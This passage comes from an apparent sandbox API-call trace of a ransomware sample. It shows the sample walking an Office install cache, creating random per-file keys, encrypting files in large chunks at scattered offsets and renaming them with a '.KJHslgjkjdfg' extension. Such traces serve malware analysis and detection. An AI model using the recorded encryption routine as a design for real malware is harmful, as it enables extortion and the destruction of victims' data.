dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.107] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.107] GetProcessHeap () returned 0x990000 [0161.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.107] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.107] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.107] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.108] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.109] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.109] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.109] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.109] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.109] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.109] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.109] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.109] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.120] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.123] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.123] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.124] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.124] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.124] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.124] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.130] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.132] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.132] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.133] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.133] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.138] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.140] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.141] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.141] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.141] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.141] SetEndOfFile (hFile=0x124) returned 1 [0161.144] GetProcessHeap () returned 0x990000 [0161.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.144] GetProcessHeap () returned 0x990000 [0161.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.144] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0161.144] CloseHandle (hObject=0x124) returned 1 [0161.145] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0161.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.145] GetProcessHeap () returned 0x990000 [0161.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.145] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.145] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.145] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xe, lpOverlapped=0x0) returned 1 [0161.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.148] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.148] GetProcessHeap () returned 0x990000 [0161.148] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.148] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0161.148] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.148] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0161.148] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.148] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.148] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.148] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.148] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.149] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.149] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.149] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.149] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x10b2, lpOverlapped=0x0) returned 1 [0161.150] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10c0) returned 1 [0161.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.150] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0161.150] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.150] SetEndOfFile (hFile=0x124) returned 1 [0161.153] GetProcessHeap () returned 0x990000 [0161.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.153] GetProcessHeap () returned 0x990000 [0161.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.153] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0161.155] CloseHandle (hObject=0x124) returned 1 [0161.155] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0161.155] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0161.155] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0161.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.156] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=36233052) returned 1 [0161.156] GetProcessHeap () returned 0x990000 [0161.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.156] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.156] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.157] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.159] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.159] GetProcessHeap () returned 0x990000 [0161.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.159] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.159] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.159] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.159] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.159] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.159] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.160] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.160] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.160] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.160] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.168] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.173] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.174] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.175] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.175] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.175] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.182] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.185] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.185] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.186] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.186] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.192] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.195] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.196] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.196] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.196] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.197] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.197] SetEndOfFile (hFile=0x124) returned 1 [0161.198] GetProcessHeap () returned 0x990000 [0161.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.198] GetProcessHeap () returned 0x990000 [0161.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.198] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0161.199] CloseHandle (hObject=0x124) returned 1 [0161.200] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0161.200] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: 